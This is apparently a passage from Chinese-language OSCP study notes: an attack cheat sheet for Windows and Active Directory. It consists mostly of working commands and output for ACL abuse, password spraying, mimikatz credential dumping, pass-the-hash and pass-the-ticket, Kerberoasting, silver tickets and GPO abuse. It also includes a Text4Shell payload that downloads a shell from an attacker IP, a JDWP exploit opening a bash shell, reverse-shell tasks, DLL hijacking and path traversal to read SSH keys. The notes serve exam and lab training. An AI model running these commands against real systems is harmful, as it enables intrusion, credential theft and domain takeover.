powershellCopy# 修改用户的脚本路径实现代码执行
Set-ADUser -Identity UserA -ScriptPath "\\attacker\share\evil.ps1"

WriteOwner权限利用:
powershellCopy# 先改所有者为自己
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity YourAccount
# 然后就可以进一步操作了

WriteDACL权限利用:
powershellCopy# 给自己添加完整权限
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -Rights All

ForceChangePassword权限利用:
powershellCopy# 直接改密码
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
Self (Self-Membership)权限利用:

powershellCopy# 把自己加入组
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'YourAccount'



# 上面是用法 下面是查询信息 然后根据现有信息来做提权渗透
# 查看当前用户哪些ACE适用于他
PS C:\Tools> Get-ObjectAcl -Identity stephanie

...
ObjectDN               : CN=stephanie,CN=Users,DC=corp,DC=com
ObjectSID              : S-1-5-21-1987370270-658905905-1781884369-1104
ActiveDirectoryRights  : ReadProperty
ObjectAceFlags         : ObjectAceTypePresent
ObjectAceType          : 4c164200-20c0-11d0-a768-00aa006e0529
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength           : 56
AceQualifier           : AccessAllowed
IsCallback             : False
OpaqueLength           : 0
AccessMask             : 16
SecurityIdentifier     : S-1-5-21-1987370270-658905905-1781884369-553
AceType                : AccessAllowedObject
AceFlags               : None
IsInherited            : False
InheritanceFlags       : None
PropagationFlags       : None
AuditFlags             : None

# 比如案例里面 我们当前是S-1-5-21-1987370270-658905905-1781884369-1104
# S-1-5-21-1987370270-658905905-1781884369-553对我们有ReadProperty权限
# 然后我们还得查查这个SID是谁
PS C:\Tools> Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104
CORP\stephanie
# 这表明SecurityIdentifier对ObjectSID有什么权限


# 下面有一个案例 主要是查询谁对"Management Department"组有完全控制权限
PS C:\Tools> Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights

SecurityIdentifier                            ActiveDirectoryRights
------------------                            ---------------------
S-1-5-21-1987370270-658905905-1781884369-512             GenericAll
S-1-5-21-1987370270-658905905-1781884369-1104            GenericAll
S-1-5-32-548                                             GenericAll
S-1-5-18                                                 GenericAll
S-1-5-21-1987370270-658905905-1781884369-519             GenericAll

PS C:\Tools> "S-1-5-21-1987370270-658905905-1781884369-512","S-1-5-21-1987370270-658905905-1781884369-1104","S-1-5-32-548","S-1-5-18","S-1-5-21-1987370270-658905905-1781884369-519" | Convert-SidToName
CORP\Domain Admins
CORP\stephanie
BUILTIN\Account Operators
Local System
CORP\Enterprise Admins

# 上面可以看到stephanie也就是我们当前用户对这个组有完全控制权限
# 意味着我可以把自己或者其他用户加到这个组里面 然后再根据这个组的权限 干一些事情
PS C:\Tools> net group "Management Department" stephanie /add /domain
The request will be processed at a domain controller for domain corp.com.

The command completed successfully.
# 上面把当前用户加入了进去 然后查询一下权限看看是否存在
PS C:\Tools> Get-NetGroup "Management Department" | select member

member
------
{CN=jen,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}

PS C:\Tools> net group "Management Department" stephanie /del /domain
The request will be processed at a domain controller for domain corp.com.

The command completed successfully.

# 查看组权限
Get-ObjectAcl -Identity "Management Department"

# 验证一下这些东西 然后在删除就行了
PS C:\Tools> Get-NetGroup "Management Department" | select member
member
------
CN=jen,CN=Users,DC=corp,DC=com

PS C:\Tools> net group "Management Department" stephanie /del /domain
The request will be processed at a domain controller for domain corp.com.
The command completed successfully.

我们可以再次使用 PowerView 来验证jen是该组的唯一成员:
PS C:\Tools> Get-NetGroup "Management Department" | select member
member
------
CN=jen,CN=Users,DC=corp,DC=com
依然导入 PowerView


PS C:\Tools> Find-DomainShare

Name           Type Remark                 ComputerName
----           ---- ------                 ------------
ADMIN$   2147483648 Remote Admin           DC1.corp.com
C$       2147483648 Default share          DC1.corp.com
IPC$     2147483651 Remote IPC             DC1.corp.com
NETLOGON          0 Logon server share     DC1.corp.com
SYSVOL            0 Logon server share     DC1.corp.com
ADMIN$   2147483648 Remote Admin           web04.corp.com
backup            0                        web04.corp.com
C$       2147483648 Default share          web04.corp.com
IPC$     2147483651 Remote IPC             web04.corp.com
ADMIN$   2147483648 Remote Admin           FILES04.corp.com
C                 0                        FILES04.corp.com
C$       2147483648 Default share          FILES04.corp.com
docshare          0 Documentation purposes FILES04.corp.com
IPC$     2147483651 Remote IPC             FILES04.corp.com
Tools             0                        FILES04.corp.com
Users             0                        FILES04.corp.com
Windows           0                        FILES04.corp.com
ADMIN$   2147483648 Remote Admin           client74.corp.com
C$       2147483648 Default share          client74.corp.com
IPC$     2147483651 Remote IPC             client74.corp.com
ADMIN$   2147483648 Remote Admin           client75.corp.com
C$       2147483648 Default share          client75.corp.com
IPC$     2147483651 Remote IPC             client75.corp.com
sharing           0                        client75.corp.com

可以看到大量的smb我们可以访问的目录 缺点就是没写是否能read和write
# 然后就是经典的SYSVOL查看xml文件
# 这里它提供了一个特别方便的命令 一键就行没那么其他的麻烦事
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"

# 其次就是去找共享里的东西 看看有哪些非默认的东西 比如
docshare

C:\Tools\Spray-Passwords.ps1
# 它会自己去识别域用户 然后爆破 支持单密码或者字典
.\Spray-Passwords.ps1 -Pass Nexus123! -Admin
.\Spray-Passwords.ps1 -File 1.txt -Admin

89.Rubeus

# 这个我在oscp的靶场运行一次 失败一次 完全无法运行 但是还是记录一下吧 实际上挺好用的
# 传到目标机器
# 一键进行AS-REP Roasting 然后hashcat就行了
.\Rubeus.exe asreproast /nowrap

# 一键找到服务账户的票据 其实和GetUserSPNs一样
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

# 生成票据的时候记得看目标服务的SPN
setspn -L username

90.AD域横向(OSCP中一些非常好的思路)

mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords

...
Authentication Id : 0 ; 1142030 (00000000:00116d0e)
Session           : Interactive from 0
User Name         : jen
Domain            : CORP
Logon Server      : DC1
Logon Time        : 2/27/2023 7:43:20 AM
SID               : S-1-5-21-1987370270-658905905-1781884369-1124
        msv :
         [00000003] Primary
         * Username : jen
         * Domain   : CORP
         * NTLM     : 369def79d8372408bf6e93364cc93075
         * SHA1     : faf35992ad0df4fc418af543e5f4cb08210830d4
         * DPAPI    : ed6686fedb60840cd49b5286a7c08fa4
        tspkg :
        wdigest :
         * Username : jen
         * Domain   : CORP
         * Password : (null)
        kerberos :
         * Username : jen
         * Domain   : CORP.COM
         * Password : (null)
        ssp :
        credman :
...



mimikatz # sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell 
user    : jen
domain  : corp.com
program : powershell
impers. : no
NTLM    : 369def79d8372408bf6e93364cc93075
  |  PID  8716
  |  TID  8348
  |  LSA Process is now R/W
  |  LUID 0 ; 16534348 (00000000:00fc4b4c)
  \_ msv1_0   - data copy @ 000001F3D5C69330 : OK !
  \_ kerberos - data copy @ 000001F3D5D366C8
   \_ des_cbc_md4       -> null
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ des_cbc_md4       OK
   \_ *Password replace @ 000001F3D5C63B68 (32) -> null



PS C:\Windows\system32> klist
Current LogonId is 0:0x1583ae

Cached Tickets: (0)


上面的操作都是新开了一个shell PTH了 但是没有任何票据
# 下面的操作会生成一个krbtgt和cifs的票据 这个时候我就已经利用HTLM获得了Kerberos票据
net use \\files04

PS C:\Windows\system32> klist
Current LogonId is 0:0x17239e
Cached Tickets: (2)
#0>     Client: jen @ CORP.COM
        Server: krbtgt/CORP.COM @ CORP.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 2/27/2023 5:27:28 (local)
        End Time:   2/27/2023 15:27:28 (local)
        Renew Time: 3/6/2023 5:27:28 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called: DC1.corp.com

#1>     Client: jen @ CORP.COM
        Server: cifs/files04 @ CORP.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
        Start Time: 2/27/2023 5:27:28 (local)
        End Time:   2/27/2023 15:27:28 (local)
        Renew Time: 3/6/2023 5:27:28 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called: DC1.corp.com


# 因为有cifs的票据了 可以看到下面 我们可以直接PTH 相当于正常的PTH来说
# 这样能更好的隐藏自己把 就是把HTLMhash转成了Kerberos TGT
PS C:\Windows\system32> cd C:\tools\SysinternalsSuite\
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\files04 cmd

PsExec v2.4 - Execute processes remotely
Copyright (C) 2001-2022 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [Version 10.0.20348.169]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
corp\jen

C:\Windows\system32>hostname
FILES04

传递票据

这个其实都学过 再记录一下吧

PS C:\Windows\system32> whoami
corp\jen
PS C:\Windows\system32> ls \\web04\backup
ls : Access to the path '\\web04\backup' is denied.
At line:1 char:1
+ ls \\web04\backup
+ ~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (\\web04\backup:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand



mimikatz #privilege::debug
Privilege '20' OK
mimikatz #sekurlsa::tickets /export

Authentication Id : 0 ; 2037286 (00000000:001f1626)
Session           : Batch from 0
User Name         : dave
Domain            : CORP
Logon Server      : DC1
Logon Time        : 9/14/2022 6:24:17 AM
SID               : S-1-5-21-1987370270-658905905-1781884369-1103

         * Username : dave
         * Domain   : CORP.COM
         * Password : (null)

        Group 0 - Ticket Granting Service

        Group 1 - Client Ticket ?

        Group 2 - Ticket Granting Ticket
         [00000000]
           Start/End/MaxRenew: 9/14/2022 6:24:17 AM ; 9/14/2022 4:24:17 PM ; 9/21/2022 6:24:17 AM
           Service Name (02) : krbtgt ; CORP.COM ; @ CORP.COM
           Target Name  (02) : krbtgt ; CORP ; @ CORP.COM
           Client Name  (01) : dave ; @ CORP.COM ( CORP )
           Flags 40c10000    : name_canonicalize ; initial ; renewable ; forwardable ;
           Session Key       : 0x00000012 - aes256_hmac
             f0259e075fa30e8476836936647cdabc719fe245ba29d4b60528f04196745fe6
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]
           * Saved to file [0;1f1626]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi !
...



PS C:\Tools> dir *.kirbi
    Directory: C:\Tools
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        9/14/2022   6:24 AM           1561 [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
-a----        9/14/2022   6:24 AM           1505 [0;12bd0]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a----        9/14/2022   6:24 AM           1561 [0;1c6860]-0-0-40810000-dave@cifs-web04.kirbi
-a----        9/14/2022   6:24 AM           1505 [0;1c6860]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a----        9/14/2022   6:24 AM           1561 [0;1c7bcc]-0-0-40810000-dave@cifs-web04.kirbi
-a----        9/14/2022   6:24 AM           1505 [0;1c7bcc]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a----        9/14/2022   6:24 AM           1561 [0;1c933d]-0-0-40810000-dave@cifs-web04.kirbi
-a----        9/14/2022   6:24 AM           1505 [0;1c933d]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a----        9/14/2022   6:24 AM           1561 [0;1ca6c2]-0-0-40810000-dave@cifs-web04.kirbi
-a----        9/14/2022   6:24 AM           1505 [0;1ca6c2]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
...



mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
* File: '[0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi': OK



PS C:\Tools> klist
Current LogonId is 0:0x13bca7
Cached Tickets: (1)
#0>     Client: dave @ CORP.COM
        Server: cifs/web04 @ CORP.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40810000 -> forwardable renewable name_canonicalize
        Start Time: 9/14/2022 5:31:32 (local)
        End Time:   9/14/2022 15:31:13 (local)
        Renew Time: 9/21/2022 5:31:13 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:


PS C:\Tools> ls \\web04\backup
    Directory: \\web04\backup
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        9/13/2022   2:52 AM              0 backup_schemata.txt



# 其实就是导出内存的票据 然后导入就行

91.ftp主动模式

切换到主动模式的命令是:
quote pasv
或者在连接前就使用 -A 参数强制使用主动模式:
ftp -A 192.168.172.145

用 passive 命令关闭被动模式:
ftp> passive
Passive mode: off

如果还是不行,可以在连接前设置环境变量:
Copyexport FTP_PASSIVE=0
ftp 192.168.172.145

使用其他 FTP 客户端如 lftp,它有更清晰的主动/被动模式控制:
lftp -u anonymous 192.168.172.145
lftp> set ftp:passive-mode off

使用 ls -la 或 ls -l 命令来查看详细列表:
ftp> ls -la

尝试切换到二进制模式后再列目录:
ftp> binary
ftp> dir

使用 quote LIST 命令直接发送原始 FTP 命令:
ftp> quote LIST

尝试用 mls 命令保存目录列表到本地文件:
ftp> mls - listing.txt

尝试访问一些 Windows FTP 服务器上常见的默认目录:
ftp> cd pub
或
ftp> cd upload

如果知道具体文件名,可以直接尝试获取:
ftp> get filename.txt

也可以尝试切换到父目录看看:
ftp> cdup

92.SSH隧道

ssh -R 443:192.168.45.184:443 -R 80:192.168.45.184:80 web_svc@192.168.139.147

# -L 是将目标机器上的端口转移到本地 -R是将本地的端口转移到目标机器上的端口然后开启
ssh -L 443:192.168.45.184:443 -L 80:192.168.45.184:80 web_svc@192.168.139.147

# 搭建隧道通流量用的
ssh -D 1080 -N Administrator@192.168.125.153
proxychains本地1080就行

93.snmpwalk

snmpwalk -v1 -c public IP

snmpwalk -v2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v 2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendOutputFull

# 上面的命令会查询到命令名称比如
# RESET就是命令
NET-SNMP-EXTEND-MIB::nsExtendCommand."RESET" = STRING: ./home/john/RESET_PASSWD

snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutputFull.\"命令名\"

# 常用扩展MIB查询
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendConfigTable  
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput1Table
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput2Table

94.CVE-2022–42889(Text4Shell)

https://meyerweb.com/eric/tools/dencoder/ #url加密网址

${script:javascript:java.lang.Runtime.getRuntime().exec('command')}
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27wget%20192.168.45.184%2Fcmdjsp.jsp%20-O%20%2Ftmp%2Fshell%27)%7D

95.Java Debug Wire Protocol (JDWP) - Remote Code Execution

https://www.exploit-db.com/exploits/46501

https://github.com/IOActive/jdwp-shellifier/

$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"

最重要的一点 记得要触发accept()事件 就比如这个java开在什么端口上 你就必须去主动nc触发一下
其实在cmd的exp里集成了 但是还是要注意端口

96.windows本地提权(更全面必须用)

# 下载PowerUp
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

# 在目标机器上
powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile

# 或者全面检查
Invoke-AllChecks

Invoke-AllChecks会检查所有可能的服务提权点,包括:
可修改的服务可执行文件
未引用路径服务
服务权限配置错误等

这样的话不用自行去寻找提权点了 比如可修改的服务可执行文件等等

97.chisel

# 这个代理工具没有ligolo-ng好用 但是他有一个ligolo-ng所没有的特性
# 就是将本地的端口转发出来 ligolo-ng没有办法将本地的服务转发出来
# 平常我用的是frp 但是在oscplabs中 比如ftp lcx ew 等等都无法使用
# 我也不知道为什么无法使用 chisel有时候都无法使用 比如在oscplabs中时
# 我发现chisel将本地端口代理出来也不行 只有ssh隧道能代理出来
# 但还是记录一下 毕竟本地端口也是个非常重要的东西

# 启动服务端
./chisel server -p 8000 --reverse
# 反向端口转发(将目标1433端口转发到攻击机)
chisel.exe client ATTACKER_IP:8000 R:1433:127.0.0.1:1433


# 攻击机
./chisel server -p 8000 --reverse
# 目标机
chisel.exe client ATTACKER_IP:8000 R:ATTACKER_PORT:127.0.0.1:TARGET_PORT

# 上面是将靶机本地的端口转发出来 下面的是将kali的端口转发到windows上
# 场景就是ligolo-ng隧道 内网主机无法访问到kali 他只被允许访问内网资源 就可以做这个
# Kali攻击机
./chisel server -p 8000 --reverse
# 靶机
chisel.exe client KALI_IP:8000 R:80:KALI_IP:80



转发靶机端口到Kali:
bashCopychisel.exe client KALI:8000 R:1433:127.0.0.1:1433
                                               ↑
                                          指向靶机本地
                                
转发Kali端口到靶机:
bashCopychisel.exe client KALI:8000 R:80:KALI_IP:80
                                           ↑
                                        指向Kali

98.windows命令行解压

使用内置expand命令:
expand .\nmap.zip -F:* C:\programdata\test

使用PowerShell:
Expand-Archive -Path c:\source\archive.zip -DestinationPath c:\destination

如果目标目录存在,需要加-Force:
powershellCopyExpand-Archive -Path .\nmap.zip -DestinationPath C:\programdata\test -Force

使用tar命令(Windows 10以上):
tar -xf nmap.zip

# 解压
Expand-Archive nmap.zip

99.非常规思路

# 快速扫描
nmap -Pn -n 192.168.207.187 -sC -sV -p- --open
# 不要忘记文件上传可上传的东西
echo "AddType application/x-httpd-php .dork" > .htaccess
# 服务账户失去所有权限可用
https://itm4n.github.io/localservice-privileges/?source=post_page
# 配置需要的特权列表
$Privs = @(
    "SeAssignPrimaryTokenPrivilege",
    "SeAuditPrivilege",
    "SeChangeNotifyPrivilege", 
    "SeCreateGlobalPrivilege",
    "SeImpersonatePrivilege",
    "SeIncreaseQuotaPrivilege",
    "SeShutdownPrivilege",
    "SeUndockPrivilege",
    "SeIncreaseWorkingSetPrivilege",
    "SeTimeZonePrivilege"
)
# 创建任务Principal 
$TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs
# 创建要执行的命令(这里用反弹shell示例)
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep Bypass -Command `". C:\path\to\shell.ps1; powercat -l -p 7003 -ep`""
# 注册并启动任务
Register-ScheduledTask -Action $TaskAction -TaskName "PrivEsc" -Principal $TaskPrincipal
Start-ScheduledTask -TaskName "PrivEsc"
# 如果在域本机上 不要忘记使用powershell脚本 在本地找SPN等等信息
https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1
## 1. 导入脚本
Import-Module .\Get-SPN.ps1
# 2. 查找SPN
Get-SPN -type service 
# 3. 请求票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DC.access.offsec"
# 4. 导出票据
Invoke-Mimikatz -Command '"kerberos::list /export"'
# 或使用PowerShell命令导出
klist.exe purge
klist.exe tgt
# 5. 使用hashcat破解
hashcat -m 13100 ticket.kirbi wordlist.txt
# 利用域用户权限请求任意SPN的TGS票据 主要场景就是域控或者成员主机上没有账密的时候
powershell iwr http://192.168.45.154/Invoke-Kerberoast.ps1 -outfile Invoke-Kerberoast.ps1 
.\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat HashCat|Out-File -Encoding ASCII hash.txt
# 域内获得账号密码 能直接登录横向的工具
https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"
Invoke-RunasCs -Username user -Password pass -Command "powershell IEX(New-Object Net.WebClient).DownloadString('http://x.x.x.x/shell.ps1')"

# Enter-PSSession 是自带的 也能用
$SecPassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain\user', $SecPassword)
Enter-PSSession -ComputerName target -Credential $Cred
whoami /priv
# 上面会显示一些特权 还会显示一些没被启用得特权 这时候可以尝试启用
# 启用特权
$TokenPriv = Get-TokenPrivilege
Enable-TokenPrivilege -TokenPrivilege $TokenPriv -Privilege SeManageVolumePrivilege
# 验证是否启用
whoami /priv

# 下面这个自动化的可以直接全部启用
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html
.\EnableAllTokenPrivs.ps1
whoami /priv

令牌备忘录
https://github.com/gtworek/Priv2Admin
SeMachineAccountPrivilege,SeManageVolumePrivilege特权在这一片有所介绍
https://medium.com/@Dpsypher/proving-grounds-practice-access-b95d3146cfe9
https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public
# 1. 启用权限
Enable-TokenPrivilege -Privilege SeManageVolumePrivilege
# 2. 修改C盘权限,获得写入权限
.\SeManageVolumeExploit.exe 
# 3. DLL劫持
# - systeminfo程序会加载tzres.dll
# - 在C:\windows\system32\wbem写入恶意tzres.dll
# - 生成DLL反弹shell:
msfvenom -p windows/x64/shell_reverse_tcp [...] -f dll -o tzres.dll
# 4. 执行systeminfo触发DLL加载获取SYSTEM权限
tzres.dll是系统组件,systeminfo运行时会加载它
# 1. 如果发现服务账户带$符号,且todo提到gMSA,说明是托管服务账户
# 2. 使用GMSAPasswordReader读取hash
.\gmsapasswordreader.exe --accountname svc_apache
.\\gmsapasswordreader.exe --accountname svc_apache
# 3. 得到rc4_hmac hash用于登录
evil-winrm -i IP -u svc_apache$ -H 526C435B8E4CF11F447D6EF7152665BB
serestore权限
# 下面这种利用方法也还行 
https://r4j3sh.medium.com/heist-pg-practice-write-up-fbfd6b90b02a

# 更加简单的方法 能直接执行shell
https://github.com/dxnboy/redteam/blob/master/SeRestoreAbuse.exe
SeRestoreAbuse.exe C:\Windows\System32\utilman.exe
SeRestoreAbuse.exe "C:\Windows\System32\cmd.exe" "C:\Windows\System32\utilman.exe"
# smb钓鱼 发起认证的时候 responder监听就行了 能拿到HTLM
# https://github.com/Greenwolf/ntlm_theft 这里各种方法都有

[InternetShortcut]
URL=Random_nonsense
WorkingDirectory=Flibertygibbit
IconFile=\\<YOUR tun0 IP>\%USERNAME%.icon
IconIndex=1
GPO(组策略)提权

# 导入PowerView
Import-Module .\PowerView.ps1

# 查找默认域策略的信息和GUID
Get-GPO -Name "Default Domain Policy"

Get-GPPermission -Guid <GUID> -TargetType User -TargetName <当前用户>
# 权限类型可能包括:
# - GpoApply: 应用策略
# - GpoRead: 读取策略
# - GpoEdit: 编辑策略
# - GpoCustom: 自定义权限

.\SharpGPOAbuse.exe 
--AddLocalAdmin     # 添加本地管理员
--UserAccount       # 指定要添加的用户账号
--GPOName          # 指定要修改的GPO名称

# 其他可用参数:
--AddComputerScript  # 添加计算机启动脚本
--AddUserScript      # 添加用户登录脚本
--AddUserTask        # 添加计划任务
--Command            # 指定要执行的命令

# 查询权限
Get-GPPermission -Guid 31b2f340-016d-11d2-945f-00c04fb984f9 -TargetType User -TargetName anirudh
https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master
# 上面是项目地址 下面是漏洞利用
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName "Default Domain Policy"
gpupdate /force


.\SharpGPOAbuse.exe 
--AddLocalAdmin      # 行为:添加本地管理员权限
--UserAccount anirudh # 要添加谁:用户名anirudh
--GPOName "Default Domain Policy" # 修改哪个GPO:默认域策略

gpupdate   # 更新组策略
/force     # 强制立即更新,不等待默认刷新时间
# 白银票据非常有意思的用法
# 在域控服务器上可能开着mssql 我们有svc_mssql作为服务账户可以用Kerberos直接认证
# 但是普通服务账户可能无法开启xmdshell的 就可以制作白银票据
# 因为我们已经可以访问mssql并登陆了
impacket-ticketer -nthash <HASH> -domain-sid <SID> -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator
impacket-mssqlclient -k nagoya.nagoya-industries.com
impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator

# PowerView
Get-DomainSID

# 原生PowerShell
(Get-ADDomain).DomainSID.Value

Get-ADUser -Filter {SamAccountName -eq "svc_mssql"} -Properties ServicePrincipalNames

# 设置票据所在位置
export KRB5CCNAME=$PWD/Administrator.ccache

# 下面这个是之前没有接触过的 平常只要导入票据 比如KRB5CCNAME 就没问题了
# 但是白银票据的导入貌似还要下面的这个配置文件
/etc/krb5user.conf
[libdefaults]
        default_realm = NAGOYA-INDUSTRIES.COM
        kdc_timesync = 1
        ccache_type = 4
        forwardable = true
        proxiable = true
    rdns = false
    dns_canonicalize_hostname = false
        fcc-mit-ticketflags = true

[realms]        
        NAGOYA-INDUSTRIES.COM = {
                kdc = nagoya.nagoya-industries.com
        }

[domain_realm]
        .nagoya-industries.com = NAGOYA-INDUSTRIES.COM

# mssql连就行了 最好用impacket的
impacket-mssqlclient -k nagoya.nagoya-industries.com


Kerberos配置文件搜索顺序:

KRB5_CONFIG环境变量指定的位置
/etc/krb5.conf(默认位置)
/etc/krb5user.conf
~/.krb5user.conf

# 只需修改这些部分:
default_realm = YOUR.DOMAIN.COM  # 域名
[realms]
YOUR.DOMAIN.COM = {
    kdc = dc.your.domain.com    # 域控制器
}
[domain_realm]
.your.domain.com = YOUR.DOMAIN.COM  # 域名映射

其他配置可以保持不变:
kdc_timesync
ccache_type
forwardable
proxiable
rdns
等这些是Kerberos行为配置,通常不需要修改。
# 在bloodhound里如果看到自身对某一个用户具有GenericWrite权限 就可以修改他的SPN
# 然后获得TGT 挺有意思的一个利用
targetedKerberoast.py -v -d 'hokkaido-aerospace.com' -u 'hrapp-service' -p 'Untimed$Runny' --dc-ip 192.168.208.40
https://wadcoms.github.io/wadcoms/targetedKerberoast/


targetedKerberoast和普通的Kerberoast不同:
普通Kerberoast:
powershellCopy# 任何域用户都能执行
Get-DomainUser -SPN  # 枚举所有SPN
Rubeus.exe kerberoast # 请求所有SPN的票据


targetedKerberoast针对性利用:
需要GenericWrite权限
可以临时给普通用户添加SPN
获取票据后再移除SPN
# bloodhound里面可以找到的
# 当前用户有ReadLAPSPassword权限
# 可以读取域内机器的本地管理员密码

ldapsearch -v -c -D username@domain.com -w password -b "DC=domain,DC=com" -H ldap://DC_IP "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
ldapsearch -v -c -D fmcsorley@hutch.offsec -w CrabSharkJellyfish192 -b "DC=hutch,DC=offsec" -H ldap://$IP "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

100.OSCP一些细节

任意文件读取

任意文件读取更多的是读重要信息吧,比如SSH私钥,但是在浏览器里面读取的时候会导致格式错乱,我之前也遇到过这种情况,没有什么好的解决办法,就是挨个找位数挨个回车,但是OSCP提到了这一点

其实就是curl就行了

curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa

--path-as-is
这个参数可以让curl 不要把 ../../ 给变成/

测试目录字典

C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\

apache 2.4.49目录遍历漏洞

curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd --path-as-is

curl http://192.168.50.16/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/opt/passwd --path-as-is

responder

ip a
sudo responder -I tun0
sudo responder -I tun0 -v

一个非常有意思的案例
当域内主机存在ssrf漏洞的时候 我一般会让他向我的攻击机http请求
但是http请求通常不会需要认证 他也就不会携带HTLM 
但是 smb和webdav他是会携带的 再配合伪协议就行
file:192.168.45.184/share
或者webdav
http://192.168.45.184/share
态势感知信息收集(非常重要)windows提权
# 当前用户所属的所有组
whoami /groups

powershell
# 本机用户和是否启用 以及描述
Get-LocalUser

# 本地组
Get-LocalGroup

# 以上面组名为参数 查看这个组的成员
Get-LocalGroupMember adminteam

# 路由表
route print

# 查看所有的应用程序
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

# 查看进程
Get-Process

# 类似于find把 思路可以
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue

# 转录文件 可能存在账号密码
C:\Users\Public\Transcripts\transcript01.txt

# 检索历史记录
